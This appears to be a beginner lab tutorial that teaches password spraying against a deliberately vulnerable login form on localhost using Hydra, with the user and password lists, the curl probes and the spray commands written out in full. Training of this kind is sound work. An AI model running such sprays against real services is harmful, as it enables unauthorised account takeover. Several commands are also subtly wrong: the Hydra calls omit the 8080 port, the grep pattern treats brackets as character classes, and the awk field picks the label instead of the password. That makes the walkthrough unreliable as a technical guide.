Spray Passwords in Hydra

Beginner
Practice Now

Introduction

In this lab, you will learn how to conduct password spray attacks using Hydra, a versatile cybersecurity tool for brute-force testing. You'll explore the process of setting up Hydra, creating credential lists, and executing targeted attacks against web authentication forms.

The lab provides hands-on experience in configuring attack parameters, analyzing results, and identifying weak credentials. Through practical exercises, you'll gain insights into common authentication vulnerabilities and defensive strategies.


Skills Graph

Install Hydra

In this step, you will install Hydra, a powerful and flexible password-cracking tool that security professionals use to test system security. Hydra can perform brute-force attacks against many different network services like websites (HTTP), file transfers (FTP), and secure shells (SSH). Understanding how these tools work helps you better protect systems against attacks.

  1. First, we need to update your system's package list. This ensures you'll install the latest available version of Hydra:

    sudo apt update

    The sudo command gives you administrator privileges, while apt update refreshes your list of available software packages.

  2. Now install Hydra with this simple command:

    sudo apt install hydra -y

    The -y flag automatically answers "yes" to any prompts during installation, making the process smoother.

  3. After installation, let's verify Hydra is working correctly by checking its version:

    hydra -v

    You should see output similar to:

    Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

    This version check confirms Hydra is properly installed and ready for use.

  4. For advanced features and better performance with specific protocols, install these optional dependencies:

    sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev -y

    These libraries enable Hydra to work with additional services like databases (MySQL, PostgreSQL) and version control systems (Subversion).

Prepare User and Password Lists

In this step, you will create the essential text files that Hydra needs to perform a password spraying attack. These files contain potential usernames and passwords that Hydra will systematically test against the target web form. Password spraying works by trying a few common passwords against many user accounts, which helps avoid account lockouts that occur when trying many passwords against a single account.

  1. First, navigate to your project directory where we'll store our files. This keeps everything organized in one place:

    cd ~/project
  2. Now we'll create a file containing common usernames. These are typical account names that might exist on a system. We'll use the nano text editor to create and edit the file:

    nano users.txt

    Add the following common usernames, one per line:

    admin
    administrator
    user
    test
    guest
    root
  3. Next, we'll create a password list file. These are weak passwords that users might set, making them good candidates for testing. Again using nano:

    nano passwords.txt

    Add these commonly used passwords, each on its own line:

    password
    123456
    admin
    letmein
    welcome
    qwerty
  4. After creating both files, let's verify they exist in our directory. The ls -l command shows detailed file information including when they were created and their sizes:

    ls -l

    You should see both users.txt and passwords.txt listed in the output.

  5. Finally, let's check the actual contents of each file to ensure they were created correctly. The cat command displays file contents directly in the terminal:

    cat users.txt
    cat passwords.txt

Target a Web Form

In this step, you will identify and analyze a target web form for password spraying. We'll use a deliberately vulnerable web application running on http://localhost:8080 for this exercise. Password spraying works by trying a few common passwords against many user accounts, so understanding the login form's structure is crucial before launching the attack.

  1. First, verify the target web application is running:

    curl -I http://localhost:8080/login

    The -I flag tells curl to fetch only the HTTP headers. You should see a 200 OK status confirming the login page is accessible. If you get a connection error, make sure the web server is running before proceeding.

  2. Examine the login form structure by viewing the page source:

    curl http://localhost:8080/login | grep -A5 -B5 "form"

    This command fetches the HTML content and shows 5 lines before and after any <form> tags. Look for the form's action attribute (where data gets sent) and input field names - these are usually called username and password but can vary.

  3. Create a test request file to document the form's parameters:

    nano form_test.txt

    Add this content to record the key details Hydra will need:

    Target URL: http://localhost:8080/login
    Method: POST
    Username field: username
    Password field: password
    Failure indicator: "Invalid credentials"

    The failure indicator helps Hydra recognize when login attempts fail. We'll use this file later to configure our attack.

  4. Test the form manually with a single credential pair:

    curl -X POST -d "username=admin&password=wrongpass" http://localhost:8080/login -v

    The -X POST specifies the HTTP method, while -d sends the form data. The -v flag shows verbose output so you can verify the "Invalid credentials" response. This confirms the form works as expected with failed logins.

  5. Check for account lockout policies by sending 5 rapid requests:

    for i in {1..5}; do
      curl -X POST -d "username=admin&password=wrong$i" http://localhost:8080/login -s -o /dev/null -w "Attempt $i: %{http_code}\n"
    done

    This loop sends 5 quick failed attempts. Watch if the HTTP status code changes from 200 (success) to 403 (forbidden) which would indicate lockout protections. Real-world applications often have these safeguards, but our test environment doesn't.

Run a Password Spray

In this step, you will execute a password spray attack against the target web form using Hydra with the user and password lists you prepared earlier. Password spraying is a technique where you try a small number of common passwords against many user accounts, which helps avoid account lockouts that might occur with traditional brute-force attacks.

  1. First, navigate to your project directory where your user and password lists are stored:

    cd ~/project
  2. Now we'll run Hydra with carefully selected parameters. This command tells Hydra to test each password in your list against each username, using the web form's login page as the target:

    hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -vV

    Let's break down what each parameter does:

    • -L users.txt: Points to your list of usernames (one per line)
    • -P passwords.txt: Points to your list of passwords to test
    • http-post-form: Specifies we're attacking a web form using POST method
    • /login:...: Defines the form structure - the part after colon tells Hydra how to recognize failed attempts
    • -t 4: Runs 4 parallel connections to speed up the attack
    • -vV: Gives detailed output so you can see the progress
  3. As Hydra runs, watch the output carefully. When Hydra finds valid credentials, it will display them clearly like this:

    [80][http-post-form] host: localhost   login: admin   password: admin
  4. To save your results for documentation or further analysis, run Hydra with the -o parameter:

    hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -o results.txt
  5. After the attack completes, you can view the saved results with:

    cat results.txt

    This file will contain all successful login combinations found during the attack.

Analyze Results

In this step, you will analyze the results from your password spray attack to identify compromised credentials and understand the security implications. Password spraying is a technique where attackers try a few common passwords against many accounts rather than many passwords against a few accounts.

  1. First, examine the raw results file created by Hydra. This file contains all the attempts Hydra made during the attack:

    cat ~/project/results.txt

    Look for lines containing "[80][http-post-form]" which indicate successful logins. The number 80 refers to the HTTP port, and http-post-form shows it was a web form submission.

  2. To focus only on successful attempts, extract just the compromised credentials to a new file. The grep command filters lines containing the success pattern:

    grep "[80][http-post-form]" ~/project/results.txt > ~/project/compromised_creds.txt
  3. Count the number of compromised accounts to understand the scale of the vulnerability. The wc (word count) command with -l flag counts lines:

    wc -l ~/project/compromised_creds.txt
  4. Analyze password patterns by generating a password frequency list. This helps identify weak passwords that were commonly used:

    awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr

    The command extracts the 6th field (password), sorts them, counts duplicates, and sorts by frequency.

  5. Create a security report summarizing key findings. This structured format helps document the results clearly:

    echo "Password Spray Attack Results" > ~/project/security_report.txt
    echo "Compromised accounts: $(wc -l < ~/project/compromised_creds.txt)" >> ~/project/security_report.txt
    echo "Most common password: $(awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr | head -1)" >> ~/project/security_report.txt
  6. View the final security report to see the compiled results:

    cat ~/project/security_report.txt

Summary

In this lab, you have learned how to conduct a password spray attack using Hydra on a Linux system. The process included installing the tool, preparing credential lists, and configuring the attack against a web form.

You also explored Hydra's basic functionality for brute-force attempts on network services. The lab emphasized proper setup techniques, such as creating structured input files and understanding essential command parameters.